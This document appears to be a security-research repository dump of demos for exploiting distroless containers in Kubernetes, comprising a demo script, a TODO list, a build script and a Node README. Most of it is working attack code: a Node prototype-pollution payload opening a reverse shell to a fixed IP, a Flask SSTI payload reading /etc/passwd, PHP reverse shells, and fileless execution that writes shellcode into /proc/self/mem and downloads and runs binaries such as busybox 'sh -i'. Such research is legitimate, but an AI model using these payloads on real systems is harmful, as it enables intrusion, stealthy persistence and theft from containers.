├── DEMOS.md ├── TODO ├── build.sh ├── kubectl.py ├── node-pp-k8s.yaml ├── node ├── README.md └── express-pp │ ├── Dockerfile │ ├── package.json │ └── start.js ├── php ├── README.md ├── rce.php └── rce_2.php ├── pods.yml └── python ├── README.md ├── basic-http-rce ├── Dockerfile ├── Pipfile ├── README.md └── app.py └── flask-ssti ├── Dockerfile ├── Pipfile ├── README.md └── app.py /DEMOS.md: -------------------------------------------------------------------------------- 1 | # pre 2 | Start docker & minikube 3 | kubectl exec -it ubuntu -- bash; apt update; apt install net-tools netcat git wget python3 nano -y 4 | cd /tmp 5 | git clone https://github.com/nnsee/fileless-elf-exec 6 | cd fileless-elf-exec 7 | wget https://storage.googleapis.com/kubernetes-release/release/v1.25.3/bin/linux/arm64/kubectl 8 | 9 | # Demo 0: What is distroless 10 | ## No sh 11 | kubectl exec -it dless-express-pp-pod -- sh 12 | 13 | ## No binaries 14 | kubectl exec -it dless-flask-ssti-pod -- sh 15 | ls 16 | command -v openssl #https://www.form3.tech/engineering/content/exploiting-distroless-images 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | # Demo 1: Python RCE 26 | kubectl port-forward dless-python-rce-pod 3001:3001 27 | 28 | ## No binaries 29 | http://localhost:3001/?cmd=ls 30 | http://localhost:3001/?cmd=whoami 31 | http://localhost:3001/?cmd=dd 32 | http://localhost:3001/?cmd=which sh 33 | 34 | ## Show sh builtins 35 | http://127.0.0.1:3001/?cmd=while read -r line; do echo $line; done /tmp/kubectl.py 54 | python3 /tmp/kubectl.py 55 | 56 | ### Fix code 57 | ```python 58 | # imports ... 59 | # imports ... 60 | pid = os.fork() 61 | if pid == 0: #pid==0 represents the child process 62 | # Rest of the payload inside this if 63 | ``` 64 | 65 | ### In a different shell in ubuntu 66 | kubectl exec -it ubuntu -- bash 67 | cd /tmp/fileless-elf-exec 68 | python3 -m http.server 69 | 70 | ### Download & execute ls.py in victim 71 | ```python 72 | from urllib import request 73 | kubectl = request.urlopen("http://172.17.0.3:8000/kubectl.py").read() 74 | exec(kubectl) 75 | ``` 76 | 77 | 78 | # Demo 1.5: Python SSTI 79 | kubectl port-forward dless-flask-ssti-pod 3002:1337 80 | 81 | ## If no sh, and not RCE but SSTI, this is still possible with raw python 82 | http://127.0.0.1:3002/?name={{(1).__class__.__base__.__subclasses__()[216]()._module.__builtins__["open"]("/etc/passwd").read()}} 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | # Demo 2: Node PP 94 | kubectl port-forward dless-express-pp-pod 3000:3000 95 | 96 | ## Reverse-shell 97 | http://127.0.0.1:3000/?exec=1&data={"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\"child_process\").fork(\"-e\",[\"net=require(`net`);cp=require(`child_process`);sh=cp.spawn(`/proc/self/exe`, [`-i`], {detached: true});client = new net.Socket();client.connect(4444, `172.31.79.130`, function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});//\"],{\"env\":{\"NODE_OPTIONS\":\"\"}}).toString())//"}}} 98 | 99 | ## Info 100 | ```js 101 | os = require("os") 102 | os.tmpdir() 103 | os.platform(); 104 | os.release(); 105 | os.arch(); 106 | os.networkInterfaces() 107 | ``` 108 | 109 | ## List folder 110 | ```js 111 | path = require('path'); 112 | fs = require('fs'); 113 | 114 | function ls(path){ 115 | fs.readdir(path, { withFileTypes: true }, function (err, files) { 116 | if (err) { 117 | return console.log('Unable to scan directory: ' + err); 118 | } 119 | files.forEach(function (file) { 120 | console.log(file); 121 | }); 122 | }); 123 | } 124 | 125 | ls("/") 126 | ``` 127 | 128 | ## In memory execution 129 | 130 | ```js 131 | // Imports 132 | fs = require('fs'); 133 | path = require('path'); 134 | http = require('http'); 135 | https = require('https'); 136 | const { fork } = require('child_process'); 137 | 138 | // Code to execute a fork process that will execute a shellcode with memfd_create 139 | node_subp1_path = "/dev/shm/subp1.js" 140 | 141 | // memfd_create shellcode from https://github.com/arget13/DDexec 142 | var node_subp1 = ` 143 | fs = require('fs'); 144 | var data = fs.readFileSync('/proc/self/syscall', {encoding:'utf8', flag:'r'}); 145 | var mem_addr = data.split(" ")[8].trim(); 146 | var dec_offset = Number(mem_addr); 147 | var shellcode_b64 = "aERFQURIiedIMfZIifC0AbA/DwVIicewTQ8FsCIPBQ=="; 148 | var shellcode = Buffer.from(shellcode_b64, 'base64'); 149 | fs.open('/proc/self/mem', 'a', function(err, fd) { 150 | fs.write(fd, shellcode, 0, shellcode.length, dec_offset, function(err,writtenbytes){}); 151 | }) 152 | ` 153 | 154 | fs.writeFileSync(node_subp1_path, node_subp1); 155 | 156 | // Check file was created (this step can be skipped) 157 | function ls(path){ 158 | fs.readdir(path, { withFileTypes: true }, function (err, files) { 159 | if (err) { 160 | return console.log('Unable to scan directory: ' + err); 161 | } 162 | files.forEach(function (file) { 163 | console.log(file); 164 | }); 165 | }); 166 | } 167 | 168 | ls("/dev/shm") 169 | 170 | // Make a subprocess execute the memfd_create shellcode 171 | var proc = fork(node_subp1_path, [], {"execPath": "/proc/self/exe", "argv0": "nodejs"}); 172 | 173 | console.log(`Check in /proc/${proc.pid}/fd (memfd is probably the biggest number)`); 174 | 175 | // Find the memfd fd 176 | function get_memfd_num(path){ 177 | fs.readdir(path, function (err, files) { 178 | if (err) { 179 | console.log('Unable to scan directory: ' + err); 180 | } 181 | files.forEach(function (file) { 182 | fs.readlink(path + "/" + file, (err, target) => { 183 | if (!err){ 184 | if (target.includes("/memfd:")) 185 | console.log(path + "/" + file + " -> " + target) 186 | } 187 | }); 188 | }); 189 | }); 190 | } 191 | get_memfd_num(`/proc/${proc.pid}/fd`); 192 | memfd_file_path = "/proc/60/fd/20" // CHANGE THIS 193 | 194 | // Download the binary to execute in the fd 195 | var download = function(url, dest) { 196 | var file = fs.createWriteStream(dest); 197 | var request = https.get(url, function(response) { 198 | response.pipe(file); 199 | file.on('finish', function() { 200 | console.log("closed") 201 | file.close(); 202 | }); 203 | }); 204 | }; 205 | 206 | // CHANGE THE FD: /proc/80/fd/20 207 | download("https://storage.googleapis.com/kubernetes-release/release/v1.25.3/bin/linux/amd64/kubectl", memfd_file_path) 208 | 209 | // Execute the fd directly from the exec syscall 210 | fork("", [], {"execPath": memfd_file_path, "execArgv": []}) 211 | ``` 212 | 213 | 214 | 215 | # DEMO 3: PHP 216 | docker run -it --rm cgr.dev/chainguard/php -a 217 | 218 | ## No way to execute binaries from php 219 | ```php 220 | `ls`; 221 | `sh`; 222 | ``` 223 | 224 | ## List folders & read files 225 | 226 | ```php 227 | function listFilesInFolder($folderPath) { 228 | if (is_dir($folderPath)) { 229 | if ($dh = opendir($folderPath)) { 230 | while (($file = readdir($dh)) !== false) { 231 | echo "filename: $file : filetype: " . filetype($folderPath . $file) . "\n"; 232 | } 233 | closedir($dh); 234 | } 235 | } 236 | } 237 | listFilesInFolder("/"); 238 | echo file_get_contents("/etc/passwd"); 239 | ``` 240 | 241 | ## RCE 1 242 | 243 | ```php 244 | # Download binary to memory 245 | $bin_url = "https://storage.googleapis.com/kubernetes-release/release/v1.25.3/bin/linux/arm64/kubectl"; 246 | $handle = fopen($bin_url, "r"); 247 | $binary = ""; 248 | while (!feof($handle)) { 249 | $binary .= fread($handle, 2048); 250 | } 251 | fclose($handle); 252 | 253 | # Create shellcode 254 | $bin_size = strlen($binary); 255 | $hex_size = pack('P', $bin_size); 256 | $hex_size_str = bin2hex($hex_size); 257 | 258 | $hexstr_shellcode = "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4e40300aa26030010c60040f9e10306aac80580d2010000d4c81b80d2000080d2e10306aa620080d2230080d2050080d2010000d4e80780d2e10300aae20306aa000080d2010000d4420000eb2100008b81ffff54881580d2010000d4610280d2281080d2010000d4" . $hex_size_str; 259 | 260 | 261 | # Execute binary 262 | $cmd_array = [ 263 | 'php', 264 | '-a' 265 | ]; 266 | 267 | $descriptorspec = array( 268 | 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 269 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 270 | 2 => array("pipe", "w") // stderr is a pipe that the child will write to 271 | ); 272 | 273 | # The only way in PHP to execute a binary without using a shell is using an array in proc_open 274 | $process = proc_open($cmd_array,$descriptorspec,$pipes); 275 | $status = proc_get_status($process); 276 | $pid = $status['pid']; 277 | 278 | 279 | 280 | # Execute shellcode in child process 281 | $payload = "\n".'$data = file_get_contents("/proc/self/syscall"); $data_array = explode(" ", $data); $mem_addr = trim($data_array[8]); $dec_offset = hexdec($mem_addr); $shellcode = hex2bin("'.$hexstr_shellcode.'"); $fd = fopen("/proc/self/mem", "r+"); fseek($fd,$dec_offset); fwrite($fd, $shellcode); fclose($fd);'."\n\n".$binary; # 2 new lines are needed 282 | 283 | fwrite($pipes[0], $payload); 284 | 285 | # Check it was created 286 | function listFilesInFolder($folderPath) { 287 | if (is_dir($folderPath)) { 288 | if ($dh = opendir($folderPath)) { 289 | while (($file = readdir($dh)) !== false) { 290 | echo "filename: $file : filetype: " . filetype($folderPath . $file) . "\n"; 291 | } 292 | closedir($dh); 293 | } 294 | } 295 | } 296 | 297 | listFilesInFolder("/proc/$pid/fd/"); 298 | 299 | 300 | # Execute kubectl 301 | $cmd_array_kubectl = [ 302 | "/proc/$pid/fd/3", 303 | '-h' 304 | ]; 305 | 306 | $descriptorspec_kubectl = array( 307 | 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 308 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 309 | 2 => array("pipe", "w") // stderr is a pipe that the child will write to 310 | ); 311 | 312 | $process2 = proc_open($cmd_array_kubectl,$descriptorspec_kubectl,$pipes_kubectl); 313 | sleep(0.5); 314 | echo stream_get_contents($pipes_kubectl[1]); 315 | proc_close($process2); 316 | ``` 317 | 318 | 319 | 320 | ``` 321 | To compile shellcode: 322 | 323 | as a.s -o a.o 324 | objcopy -O binary a.o 325 | xxd -ps a.o | tr -d '\n' 326 | 327 | 328 | Shellcode: 329 | 330 | .arch armv8-a 331 | .global _start 332 | 333 | _start: 334 | movz x0, #0x4144 335 | movk x0, #0x4445, lsl #16 336 | str x0, [sp, #-0x10]! 337 | mov x0, sp 338 | eor x1, x1, x1 339 | mov x8, #0x117 340 | svc #0 // memfd_create 341 | 342 | mov x4, x0 //save fd for mmap 343 | 344 | adr x6, filesz 345 | ldr x6, [x6] 346 | mov x1, x6 347 | mov x8, #0x2e 348 | svc #0 // ftruncate 349 | 350 | mov x8, #0xde 351 | mov x0, #0 352 | mov x1, x6 353 | mov x2, #3 // RW 354 | mov x3, #1 // MAP_SHARED 355 | mov x5, #0 356 | svc #0 // mmap 357 | 358 | mov x8, #0x3f 359 | mov x1, x0 // address returned by mmap 360 | mov x2, x6 361 | 362 | read_more: 363 | mov x0, #0 364 | svc #0 // read 365 | subs x2, x2, x0 366 | add x1, x1, x0 367 | bne read_more 368 | 369 | mov x8, #0xac 370 | svc #0 // getpid 371 | mov x1, #0x13 // SIGSTOP 372 | mov x8, #0x81 373 | svc #0 // kill 374 | 375 | filesz: 376 | ``` 377 | 378 | 379 | 380 | 381 | ## RCE 2 382 | 383 | kubectl exec -it php-pod -- sh 384 | kubectl exec -it php-pod -- php -a 385 | 386 | 387 | kubectl exec -it ubuntu -- bash 388 | nc -lvnp 4444 389 | 390 | 391 | ```php 392 | $sock = fsockopen("172.31.79.130", 4444); 393 | 394 | $cmd_array = ['php', '-a']; 395 | $descriptorspec = array( 396 | 0 => $sock, 397 | 1 => $sock, 398 | 2 => $sock 399 | ); 400 | 401 | $process = proc_open($cmd_array, $descriptorspec, $pipes); 402 | ``` 403 | 404 | ```php 405 | // PHP child process that will load memexecd 406 | $executor=' 407 | preg_match("/^.*vdso.*\$/m", file_get_contents("/proc/self/maps"), $matches); 408 | $vdso_addr = substr($matches[0], 0, strpos($matches[0], "-")); 409 | $vdso_dec = hexdec($vdso_addr); 410 | $vdso_addr = bin2hex(strrev(hex2bin($vdso_addr))); // To little endian 411 | $syscall = file_get_contents("/proc/self/syscall"); 412 | $syscall_array = explode(" ", $syscall); 413 | $addr_dec = hexdec(trim($syscall_array[8])); 414 | if(php_uname("m") == "x86_64") 415 | { // x64 416 | $jmp = hex2bin("48b8". $vdso_addr . "0000ffe0"); 417 | $stager = hex2bin("41b90000000041b8ffffffff41ba22000000ba03000000be00100000bf00000000b8090000000f0589f24889c631c089c70f0531c00f054889f789d6ba0500000066b80a000f05ffe7"); 418 | } else { // Aarch64 419 | $jmp = hex2bin("4000005800001fd6". $vdso_addr . "0000"); 420 | $stager = hex2bin("050080520400801243048052620080520100825200008052c81b8052010000d4e203012ae10300aae807805200008052010000d400008052010000d4e00301aae30301aae103022aa2008052481c8052010000d460001fd6"); 421 | } 422 | $fd = fopen("/proc/self/mem", "r+"); 423 | fseek($fd, $vdso_dec); 424 | fwrite($fd, $stager); 425 | fseek($fd, $addr_dec); 426 | fwrite($fd, $jmp); 427 | fclose($fd); 428 | '; 429 | 430 | 431 | // Run it and keep FD 0 432 | $cmd_array = ['php', '-a']; 433 | $descriptorspec = array( 434 | 0 => array("pipe", "r"), 435 | 1 => fopen('php://stdout', 'w'), 436 | 2 => fopen('php://stderr', 'w'), 437 | 3 => fopen('php://stdin' , 'w') 438 | ); 439 | 440 | $process = proc_open($cmd_array, $descriptorspec, $pipes); 441 | fwrite($pipes[0], $executor); 442 | sleep(1); 443 | 444 | 445 | // x64 shellcode 446 | $shellcode = "554889e54881ec2001000048c745d800000000488d85e8feffff4889c6488d056c0d00004889c7e8e70a0000488945d0488b45d0ba01000000488d0d5f0d00004889ce4889c7e86c0b0000488b55d04801c2488d85e8feffff4889c64889d7e8af0a0000488945c8488b45c8ba00000000be000040404889c7e842070000488945c0488b55b8488b45d04889d64889c7e8d50c0000488b95e8feffff488b45c84889d64889c7e8bf0c0000e9d10600008b85e0feffff85c00f84500100008b85e0feffff489848898568ffffff48838568ffffff0f4883a568fffffff04889e2488b8568ffffff48f7d84801d04889c44889e0488945b08b85e0feffff4863d0488b45b0be000000004889c7e83b0c00008b85e0feffff4863d0488b45b04889c6bf00000000e8520c0000c745e401000000488b45b0488945e8eb048345e401488b45e84889c7e8e00b00004883c001480145e88b85e0feffff4863d0488b45b04801d0483945e872d28b45e483c001489848c1e00348898560ffffff48838560ffffff0f4883a560fffffff04889e2488b8560ffffff48f7d84801d04889c44889e0488945f0c745e000000000488b45b0488945e8eb338b45e04898488d14c500000000488b45f04801c2488b45e8488902488b45e84889c7e84d0b00004883c001480145e88345e0018b45e03b45e47cc58b45e44898488d14c500000000488b45f04801d048c70000000000488d85e4feffffba040000004889c6bf00000000e8560b000048c78558ffffff1100000048c78550ffffff0000000048c78548ffffff0000000048c78540ffffff0000000048c78538ffffff00000000488bb550ffffff488b9548ffffff4c8b9540ffffff4c8b8538ffffff488bbd58ffffffb8380000000f0585c00f85060400008b85e4feffff48984889c7e8040a0000488945c8488d95f0feffff488b45c8be000040004889c7e804050000488945a8488b45c0488b5018488b45c04801d0488945a0488b45c8488b50188b85f0feffff83e00185c00f95c00fb6c0480faf45a84801d048894598488b45c80fb740380fb7c048894590488b45c80fb740360fb7c048894588488b45c8488b5020488b45a84801d0488945808b85e4feffff4863d0488b45c84889d64889c7e8290a000041b90000000041b8ffffffffb922000200ba03000000be00100200bf00000000e80c0a000048898578ffffff488b8578ffffff480500100200488945f848836df808488b45f848c700000000008b45e483e00185c0741048836df808488b45f848c70000000000c745e00000000048816df800040000488b45f848898570ffffff8b45e0489848c1e0044889c2488b8570ffffff4801d048c700060000008b45e08d50018955e0489848c1e0044889c2488b8570ffffff4801d048c74008001000008b45e0489848c1e0044889c2488b8570ffffff4801d048c700190000008b45e08d50018955e0489848c1e0044889c2488b8570ffffff4801c2488b4598488942088b45e0489848c1e0044889c2488b8570ffffff4801d048c700090000008b45e08d50018955e0489848c1e0044889c2488b8570ffffff4801c2488b4598488942088b45e0489848c1e0044889c2488b8570ffffff4801d048c700070000008b85f0feffff83e00285c00f94c00fb6d08b45e08d4801894de0489848c1e0044889c1488b8570ffffff4801c14889d0480faf45c0488941088b45e0489848c1e0044889c2488b8570ffffff4801d048c700050000008b45e08d50018955e0489848c1e0044889c2488b8570ffffff4801c2488b4590488942088b45e0489848c1e0044889c2488b8570ffffff4801d048c700040000008b45e08d50018955e0489848c1e0044889c2488b8570ffffff4801c2488b4588488942088b45e0489848c1e0044889c2488b8570ffffff4801d048c700030000008b45e08d50018955e0489848c1e0044889c2488b8570ffffff4801c2488b4580488942088b45e0489848c1e0044889c2488b8570ffffff4801d048c700000000008b45e08d50018955e0489848c1e0044889c2488b8570ffffff4801d048c740080000000048836df808488b45f848c7000000000048836df808488b45f848c700000000008b45e4489848c1e00348f7d8480145f88b45e44898488d14c500000000488b4df0488b45f84889ce4889c7e82507000048836df8088b45e44863d0488b45f8488910c78534ffffff03000000c78530ffffff000000008b8530ffffff48984889c6ba000000008b8534ffffff48984889c7b8240100000f05488b65f88b85f0feffff83e00285c07408488b4598ffe0eb06488b45a0ffe08b85e0feffff4898488985f8feffff488385f8feffff0f4883a5f8fefffff04889e2488b85f8feffff4801d04889c48b45e483c001489848c1e00348898500ffffff48838500ffffff0f4883a500fffffff04889e2488b8500ffffff4801d04889c4c78524ffffffffffffff48c78518ffffff00000000c78514ffffff0000000048c78508ffffff00000000488bb518ffffff8b8514ffffff48984889c24c8b9508ffffff8b8524ffffff48984889c7b83d0000000f05b86e0000000f0589852cffffffc78528ffffff120000008b8528ffffff48984889c68b852cffffff48984889c7b83e0000000f05488d85e0feffffba0400"; 447 | 448 | $shellcode .="00004889c6bf00000000e8e30500004883f8040f840cf9ffffc785f4feffff000000008b85f4feffff48984889c7b83c0000000f05554889e54881ecb00000004889bd68ffffff4889b560ffffff48899558ffffff48c745f80000000048c745f000000000488b8568ffffff488945d8488b45d8488b5020488b8568ffffff4801d0488945d0488b45d80fb74038668945ce488b8568ffffffba00000000488d0d770500004889ce4889c7e87c030000488945c04883bd58ffffff007417488b8558ffffff8b0083c80289c2488b8558ffffff8910488b45d80fb740106683f803752c4883bd58ffffff007417488b8558ffffff8b0083c80189c2488b8558ffffff8910488b8560ffffff488945f0c745ec00000000e9530200008b45ec4863d04889d048c1e0034829d048c1e0034889c2488b45d04801d08b0083f80375214883bd58ffffff007417488b8558ffffff8b0083e0fd89c2488b8558ffffff89108b45ec4863d04889d048c1e0034829d048c1e0034889c2488b45d04801d08b0083f8010f85e00100008b45ec4863d04889d048c1e0034829d048c1e0034889c2488b45d04801d08b40048945bc8b45ec4863d04889d048c1e0034829d048c1e0034889c2488b45d04801d0488b4008488945b08b45ec4863d04889d048c1e0034829d048c1e0034889c2488b45d04801d0488b4010488945a88b45ec4863d04889d048c1e0034829d048c1e0034889c2488b45d04801d0488b4020488945e08b45ec4863d04889d048c1e0034829d048c1e0034889c2488b45d04801d0488b4028488945a0488b45a8482500f0ffff488945988b45bcc1e80283e00189c28b45bc83e00209c28b45bcc1e00283e00409d0894594488b45a8482b4598480145e0488b45a8482b4598480145a0488b4598482b45a8480145b0488b55f0488b4598488d3c02488b45a041b90000000041b8ffffffffb932000000ba030000004889c6e82003000048837db0007508488b4598488945f848837dc0007427488b45c0483b4598721d488b5598488b45e04801d0483945c0730c488b45c0482b4598488945e0488b9568ffffff488b45b0488d3402488b55f0488b4598488d0c02488b45e04889c24889cfe89b0200008b4594488b4df0488b55984801ca48895588488b55e04889558089857cffffff488b75808b857cffffff48984889c2488b7d88b80a0000000f05eb008345ec010fb745ce3945ec0f8ca0fdffff488b55f0488b45f84801d0c9c3554889e54883ec4048897dc8488975c0488b45c8ba000000004889c6bf9cffffffe8210200008945fc8b45fc8945ec48c745e000000000c745dc02000000488b45e04889c68b45dc48984889c28b45ec48984889c7b8080000000f054889c2488b45c0488910488b45c0488b008b55fc41b9000000004189d0b902000000ba010000004889c6bf00000000e8cf010000488945f08b45fc89c7e8b1010000488b45f0c9c3554889e54883ec5048897dc8488975c08955bc488b45c8488945f0488b45f0488b5028488b45c84801d0488945e8488b45f00fb7403c668945e6488b45f00fb7403e668945e40fb745e448c1e0064889c2488b45e84801d0488b5018488b45c84801d0488945d8c745fc00000000eb6d8b45fc489848c1e0064889c2488b45e84801d08b0089c2488b45d84801c2488b45c04889c64889d7e8e700000085c07538837dbc0074198b45fc489848c1e0064889c2488b45e84801d0488b4018eb2b8b45fc489848c1e0064889c2488b45e84801d0488b4010eb128345fc010fb745e63945fc7c8ab800000000c9c3554889e54883ec3048897dd848c745f00000000048c745f800000000488b45d841b90000000041b8ffffffffb922000000ba030000004889c6bf00000000e88b000000488945e8488b55e8488b45f8488d0c02488b45d84889c24889cebf00000000e872000000488945f0488b45f0480145f8488b45f0482945d848837dd80075c5488b45e8c9c331c031c9ffc9f2aef7d1678d41ffc357e8ebffffff5ff3a60f95c0480fb6c0c331c04889d1f3aac34889d1f3a4c3b8010100000f05c3b8030000000f05c3b80b0000000f05c34c87d1b8090000000f05c3b8000000000f05c34c87d1b8110000000f05c32f70726f632f73656c662f657865002e696e74657270002e62737300"; 449 | $shellcode = hex2bin($shellcode); 450 | 451 | 452 | // Send shellcode to stager 453 | fwrite($pipes[0], $shellcode); 454 | 455 | 456 | 457 | // Prepare memexec function 458 | $GLOBALS['pipe'] = $pipes[0]; 459 | function memexec($url, $argv = [], $stop = true) 460 | { 461 | $args = ""; 462 | foreach($argv as &$arg) 463 | $args .= $arg . "\0"; 464 | unset($arg); 465 | 466 | $f = fopen($url, "r"); 467 | $binary = ""; 468 | while(!feof($f)) 469 | $binary .= fread($f, 2048); 470 | fclose($f); 471 | 472 | $args = pack('V', strlen($args)) . $args . pack('V', strlen($binary)); 473 | fwrite($GLOBALS['pipe'], $args); 474 | fwrite($GLOBALS['pipe'], $binary); 475 | if($stop) posix_kill(posix_getpid(), 19); 476 | } 477 | 478 | 479 | 480 | memexec("https://busybox.net/downloads/binaries/1.21.1/busybox-x86_64", ["ls", "-la", "/"], false); 481 | memexec("https://busybox.net/downloads/binaries/1.21.1/busybox-x86_64", ["cat", "/etc/passwd"], false); 482 | memexec("https://busybox.net/downloads/binaries/1.21.1/busybox-x86_64", ["sh","-i"], true); 483 | pwd 484 | set 485 | ``` 486 | -------------------------------------------------------------------------------- /TODO: -------------------------------------------------------------------------------- 1 | - PHP LFI 2 | - Use https://github.com/synacktiv/php_filter_chain_generator to perform an eval 3 | - get reverse shell: $sock=fsockopen("127.0.0.1",4444);exec("/proc/self/exe -a <&3 >&3 2>&3"); 4 | - Use rce_2.php to get RCE 5 | - DDexec 6 | - shellcode 7 | - Prepare kubernetes 8 | 9 | -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd ./node/express-pp 4 | docker build . -t dless-express-pp 5 | minikube image load dless-express-pp 6 | cd ../.. 7 | 8 | cd ./python/basic-http-rce 9 | docker build . -t dless-python-rce 10 | minikube image load dless-python-rce 11 | cd ../.. 12 | 13 | cd ./python/flask-ssti 14 | docker build . -t dless-flask-ssti 15 | minikube image load dless-flask-ssti 16 | cd ../.. 17 | 18 | 19 | -------------------------------------------------------------------------------- /node-pp-k8s.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: carlospolop-node-pp-dless 5 | spec: 6 | securityContext: 7 | runAsUser: 1000 8 | containers: 9 | - name: node-pp-dless 10 | image: carlospolop/node-pp-dless:amd 11 | securityContext: 12 | runAsUser: 1000 13 | readOnlyRootFilesystem: true 14 | ports: 15 | - containerPort: 3000 16 | restartPolicy: OnFailure 17 | -------------------------------------------------------------------------------- /node/README.md: -------------------------------------------------------------------------------- 1 | ## Build distroless 2 | ```bash 3 | cd express-pp 4 | docker build . -t node-pp-dless 5 | docker run -p 3000:3000 node-pp-dless 6 | ``` 7 | 8 | ## Raw image (no distroless) 9 | ```bash 10 | docker run -it node:18 bash 11 | ``` 12 | 13 | ## Get node rev shell 14 | 15 | ### PP Payload 16 | 17 | ```js 18 | // This is the clear-text reverse shell code: 19 | net=require(`net`); 20 | cp=require(`child_process`); 21 | sh=cp.spawn(`/proc/self/exe`, [`-i`], {detached: true}); //Detach so when parent dies the rev doesn't die 22 | client = new net.Socket(); 23 | client.connect(4446, `127.0.0.1`, function(){ 24 | client.pipe(sh.stdin); 25 | sh.stdout.pipe(client); 26 | sh.stderr.pipe(client); 27 | }); 28 | 29 | // This is the final payload 30 | pp_pay = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").fork(\\\"-e\\\",[\\\"net=require(`net`);cp=require(`child_process`);sh=cp.spawn(`/proc/self/exe`, [`-i`], {detached: true});client = new net.Socket();client.connect(4446, `127.0.0.1`, function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});//\\\"],{\\\"env\\\":{\\\"NODE_OPTIONS\\\":\\\"\\\"}}).toString())//"}}}'); 31 | // Note how NODE_OPTIONS is clear for the new process to avoid an infinite loop of process being created 32 | ``` 33 | 34 | ### Get rev shell 35 | 36 | **Start a listener** on your machine: 37 | 38 | ```bash 39 | nc -lvnp 4444 40 | ``` 41 | 42 | Get **node reverse shell** (change your IP and port): 43 | 44 | ```bash 45 | http://127.0.0.1:3000/?exec=1&data={"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\"child_process\").fork(\"-e\",[\"net=require(`net`);cp=require(`child_process`);sh=cp.spawn(`/proc/self/exe`, [`-i`], {detached: true});client = new net.Socket();client.connect(4444, `172.17.0.2`, function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});//\"],{\"env\":{\"NODE_OPTIONS\":\"\"}}).toString())//"}}} 46 | ``` 47 | 48 | **You should have received the node shell!** 49 | 50 | Check in the following section how to **load and execute arbitrary binaries**. 51 | 52 | ## Node utilities 53 | 54 | ### Get OS info 55 | ```js 56 | os = require("os") 57 | os.userInfo() //user info 58 | os.tmpdir() // tmp directory 59 | os.platform(); 60 | os.release(); 61 | os.arch(); 62 | os.networkInterfaces() // network info 63 | ``` 64 | 65 | 66 | ### List directory 67 | ```js 68 | path = require('path'); 69 | fs = require('fs'); 70 | 71 | function ls(path){ 72 | fs.readdir(path, { withFileTypes: true }, function (err, files) { 73 | if (err) { 74 | return console.log('Unable to scan directory: ' + err); 75 | } 76 | files.forEach(function (file) { 77 | console.log(file); 78 | }); 79 | }); 80 | } 81 | ``` 82 | 83 | ### Read file 84 | ```js 85 | fs = require('fs'); 86 | function read_file(path){ 87 | console.log(fs.readFileSync(path, {encoding:'utf8', flag:'r'})) 88 | } 89 | ``` 90 | 91 | ### Read file in base64 92 | ```js 93 | fs = require('fs'); 94 | function read_fileb64(path){ 95 | let data = fs.readFileSync(path, {encoding:'utf8', flag:'r'}).toString() 96 | console.log(Buffer.from(data).toString('base64')); 97 | } 98 | ``` 99 | 100 | ### Http request 101 | 102 | ```js 103 | // Get headers and response text 104 | function http_req(url){ 105 | fetch(url).then(response=>{console.log(response.headers); response.text().then(data=>{console.log(data);})}) 106 | } 107 | ``` 108 | 109 | ### Download and write file 110 | 111 | ```js 112 | //https://stackoverflow.com/questions/11944932/how-to-download-a-file-with-node-js-without-using-third-party-libraries 113 | 114 | http = require('http'); // USE 'https' for https:// URLs !!! 115 | fs = require('fs'); 116 | 117 | var download = function(url, dest) { 118 | var file = fs.createWriteStream(dest); 119 | var request = http.get(url, function(response) { 120 | response.pipe(file); 121 | file.on('finish', function() { 122 | file.close(); 123 | }); 124 | }); 125 | }; 126 | 127 | download("http://172.17.0.2:8000/bin/ls", "/proc/96/fd/20") 128 | ``` 129 | 130 | ### In memory execution 131 | 132 | ```js 133 | // Imports 134 | fs = require('fs'); 135 | path = require('path'); 136 | http = require('http'); 137 | https = require('https'); 138 | const { fork } = require('child_process'); 139 | 140 | // Code to execute a fork process taht will execute a shellcode with memfd_create 141 | node_subp1_path = "/dev/shm/subp1.js" 142 | 143 | // memfd_create shellcode from https://github.com/arget13/DDexec (this is the one for ARM) 144 | var node_subp1 = ` 145 | fs = require('fs'); 146 | var data = fs.readFileSync('/proc/self/syscall', {encoding:'utf8', flag:'r'}); 147 | var mem_addr = data.split(" ")[8].trim(); 148 | var dec_offset = Number(mem_addr); 149 | var shellcode_b64 = "gCiI0qCIqPLgDx/44AMAkSEAAcroIoDSAQAA1MgFgNIBAADUiBWA0gEAANRhAoDSKBCA0gEAANQ="; 150 | var shellcode = Buffer.from(shellcode_b64, 'base64'); 151 | fs.open('/proc/self/mem', 'a', function(err, fd) { 152 | fs.write(fd, shellcode, 0, shellcode.length, dec_offset, function(err,writtenbytes){}); 153 | }) 154 | ` 155 | 156 | fs.writeFileSync(node_subp1_path, node_subp1); 157 | 158 | // Make a subprocess execute the memfd_create shellcode 159 | var proc = fork(node_subp1_path, [], {"execPath": "/proc/self/exe", "argv0": "nodejs"}); 160 | 161 | console.log(`Check in /proc/${proc.pid}/fd (memfd is probably the biggest number)`); 162 | 163 | // Find the memfd fd 164 | function get_memfd_num(path){ 165 | fs.readdir(path, function (err, files) { 166 | if (err) { 167 | console.log('Unable to scan directory: ' + err); 168 | } 169 | files.forEach(function (file) { 170 | fs.readlink(path + "/" + file, (err, target) => { 171 | if (!err){ 172 | if (target.includes("/memfd:")) 173 | console.log(path + "/" + file + " -> " + target) 174 | } 175 | }); 176 | }); 177 | }); 178 | } 179 | get_memfd_num(`/proc/${proc.pid}/fd`); 180 | 181 | // Download the binary to execute in the fd 182 | var download = function(url, dest) { 183 | var file = fs.createWriteStream(dest); 184 | var request = 